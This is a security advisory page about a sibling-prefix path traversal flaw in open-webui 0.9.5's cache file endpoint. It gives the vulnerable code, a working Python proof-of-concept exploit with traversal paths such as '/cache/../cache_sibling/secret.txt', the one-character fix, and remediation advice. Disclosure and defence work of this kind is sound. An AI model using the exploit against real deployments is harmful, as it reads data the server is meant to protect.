Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Network-accessible HTTP endpoint (AV:N), low-privilege auth required (PR:L), confidentiality limited to cache-prefixed sibling directories (C:L), no write or availability impact.
Primary rating from Vendor (https://github.com/open-webui/open-webui).
CVSS VectorVendor: https://github.com/open-webui/open-webui
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Lifecycle Timeline
2DescriptionCVE.org
Summary
A path traversal vulnerability exists in open-webui's cache file serving endpoint that allows any authenticated user to read files from sibling directories outside the intended cache directory, by exploiting an incomplete startswith containment check that lacks a trailing path separator.
The root cause is that serve_cache_file() in open_webui/main.py validates the resolved path with file_path.startswith(os.path.abspath(CACHE_DIR)) - without appending os.sep. This allows any path resolving to a sibling directory whose name begins with cache (e.g. cache_sibling, cache_backup, cached_models) to pass validation.
Deep traversal and absolute paths are correctly blocked. The bypass is narrow but confirmed - limited to sibling-prefix directories.
Exploitation constraints
| Constraint | Detail |
|---|---|
| Auth required | get_verified_user - any user with role user or admin |
| Scope | Only sibling directories starting with cache (e.g. cache_backup, cached_models) |
| Deep traversal | Blocked - ../../etc/passwd correctly fails the startswith check |
| Absolute paths | Blocked - /etc/passwd correctly fails |
| Client normalization | httpx/browsers normalize .. client-side - must use raw HTTP or ASGI to deliver payload |
Vulnerability Details
Vulnerable function: serve_cache_file()
# open_webui/main.py, line 2907-2924
@app.get('/cache/{path:path}')
async def serve_cache_file(path: str, user=Depends(get_verified_user)):
file_path = os.path.abspath(os.path.join(CACHE_DIR, path))
# prevent path traversal
if not file_path.startswith(os.path.abspath(CACHE_DIR)):
# ← BUG: no trailing os.sep
raise HTTPException(status_code=404, detail='File not found')
if not os.path.isfile(file_path):
raise HTTPException(status_code=404, detail='File not found')
return FileResponse(file_path, headers=headers)The bypass
CACHE_DIR = "/data/cache"
# Attacker path: "../cache_sibling/secret.txt"
file_path = os.path.abspath(os.path.join("/data/cache", "../cache_sibling/secret.txt"))
# → "/data/cache_sibling/secret.txt"
"/data/cache_sibling/secret.txt".startswith("/data/cache")
# → True ← BYPASS (because "cache_sibling" starts with "cache")
# Correct check would be:
"/data/cache_sibling/secret.txt".startswith("/data/cache/")
# → False ← BLOCKEDProof of Concept
Environment
| Component | Detail |
|---|---|
| open-webui | 0.9.5 (pip installed) |
| Python | 3.11 |
| Import | from open_webui.main import app (true import, real FastAPI app) |
| Method | Raw ASGI request (bypasses httpx client-side .. normalization) |
poc.py
import asyncio
import os
import shutil
import sys
import tempfile
TEMP_DATA = tempfile.mkdtemp(prefix="owui_poc_")
os.environ["DATA_DIR"] = TEMP_DATA
os.environ["WEBUI_SECRET_KEY"] = "poc_secret_key_12345"
os.environ["WEBUI_AUTH"] = "false"
CACHE_DIR = os.path.join(TEMP_DATA, "cache")
SIBLING_DIR = os.path.join(TEMP_DATA, "cache_sibling")
os.makedirs(CACHE_DIR, exist_ok=True)
os.makedirs(SIBLING_DIR, exist_ok=True)
SECRET_CONTENT = "STOLEN_FROM_SIBLING_DIR"
with open(os.path.join(SIBLING_DIR, "secret.txt"), "w") as f:
f.write(SECRET_CONTENT)
with open(os.path.join(CACHE_DIR, "legit.txt"), "w") as f:
f.write("legitimate_cache_file")
from open_webui.main import app
from open_webui.utils.auth import get_verified_user
class FakeUser:
id = "poc"
email = "poc@test"
role = "user"
app.dependency_overrides[get_verified_user] = lambda: FakeUser()
async def raw_asgi_get(app, path):
"""Send a raw ASGI request without client-side path normalization."""
scope = {
"type": "http",
"method": "GET",
"path": path,
"query_string": b"",
"headers": [(b"host", b"localhost")],
"root_path": "",
"asgi": {"version": "3.0"},
}
response_started = False
status_code = None
body_parts = []
async def receive():
return {"type": "http.request", "body": b""}
async def send(message):
nonlocal response_started, status_code
if message["type"] == "http.response.start":
response_started = True
status_code = message["status"]
elif message["type"] == "http.response.body":
body_parts.append(message.get("body", b""))
await app(scope, receive, send)
return status_code, b"".join(body_parts)
async def main():
s1, b1 = await raw_asgi_get(app, "/cache/legit.txt")
s2, b2 = await raw_asgi_get(app, "/cache/../cache_sibling/secret.txt")
s3, b3 = await raw_asgi_get(app, "/cache/../../etc/passwd")
baseline_ok = s1 == 200 and b"legitimate_cache_file" in b1
exploit_ok = s2 == 200 and SECRET_CONTENT.encode() in b2
deep_blocked = s3 == 404
print(f"package: open_webui (pip installed)")
print(f"version: 0.9.5")
print(f"function: serve_cache_file (GET /cache/{{path}})")
print(f"sink: main.py:2914 file_path.startswith(os.path.abspath(CACHE_DIR))")
print(f"bypass: startswith without trailing os.sep allows sibling-prefix match")
print()
print(f"CACHE_DIR: {CACHE_DIR}")
print(f"SIBLING: {SIBLING_DIR}")
print()
print(f"[baseline] /cache/legit.txt status={s1} body={b1[:40]!r}")
print(f"[exploit] /cache/../cache_sibling/secret.txt status={s2} body={b2[:40]!r}")
print(f"[control] /cache/../../etc/passwd status={s3} (should be 404)")
print()
print(f"result: {'VULNERABLE' if exploit_ok and baseline_ok and deep_blocked else 'NOT CONFIRMED'}")
shutil.rmtree(TEMP_DATA, ignore_errors=True)
sys.exit(0 if exploit_ok else 1)
if __name__ == "__main__":
asyncio.run(main())
PoC output
<img width="1392" height="288" alt="image" src="https://github.com/user-attachments/assets/2fbef163-9ef5-4ed5-aa53-a49bd9bf4713" />
Suggested Fix
if not file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep):
raise HTTPException(status_code=404, detail='File not found')Single character fix: append os.sep to the prefix in the startswith check.
AnalysisAI
Sibling-prefix path traversal in open-webui 0.9.5 and earlier allows any authenticated user to read arbitrary files from directories adjacent to the configured cache directory, provided those directories share the string prefix 'cache' (e.g., cache_backup, cached_models). The flaw exists in serve_cache_file() at main.py:2914, where a missing trailing path separator in the startswith boundary check causes os.path.abspath() to validate resolved sibling paths as if they were within the cache root. Publicly available exploit code exists in the GHSA advisory (PoC confirmed against open-webui 0.9.5 via raw ASGI delivery); no confirmed active exploitation (not in CISA KEV) at time of analysis.
Technical ContextAI
The vulnerability resides in the FastAPI-based serve_cache_file() function handling GET /cache/{path:path} in open_webui/main.py (lines 2907-2924), affecting the pip package pkg:pip/open-webui up to version 0.9.5. Python's os.path.abspath() canonicalizes traversal sequences in the user-supplied path before boundary validation - correctly stripping deep traversal - but the subsequent guard uses Python string prefix matching (str.startswith) rather than true path-component comparison. Because CACHE_DIR resolves to a string like /data/cache, any sibling directory whose name starts with 'cache' (e.g., /data/cache_backup) will produce a resolved path string that also starts with /data/cache, satisfying the guard incorrectly. The correct fix is to append os.sep to the prefix, ensuring that /data/cache/ (with trailing slash) is matched rather than the bare /data/cache string. CWE-22 (Path Traversal) is the root cause class; specifically the 'incomplete denylist via prefix match without separator' variant. Standard HTTP clients and the httpx library normalize .. sequences client-side, so exploitation requires delivery via raw HTTP or ASGI to preserve the traversal component.
RemediationAI
Upgrade open-webui to version 0.9.6 (vendor-released patch: 0.9.6), which corrects the boundary check in serve_cache_file() at main.py:2914 by appending os.sep to the startswith prefix - changing file_path.startswith(os.path.abspath(CACHE_DIR)) to file_path.startswith(os.path.abspath(CACHE_DIR) + os.sep). See the advisory at https://github.com/open-webui/open-webui/security/advisories/GHSA-j2c8-v969-8r5c. If immediate upgrading is not feasible, eliminate any directories adjacent to CACHE_DIR whose names begin with the string 'cache' (e.g., cache_backup, cached_models) - this removes the exploitable prefix overlap entirely but may require operational changes to data layout. As an additional layer, configure a reverse proxy (nginx, Caddy) to reject GET /cache/ requests containing encoded or literal .. sequences before they reach the application; note this control can be bypassed if the proxy normalizes paths before matching, so it should not be treated as a standalone fix. No side effects are expected from the one-character patch (appending os.sep).
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
Cross-user flow execution in Langflow (< 1.9.1) lets any authenticated API-key holder run another user's flow by passing
Same weakness CWE-22 – Path Traversal
View allSame technique Path Traversal
View allShare
External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38528
GHSA-j2c8-v969-8r5c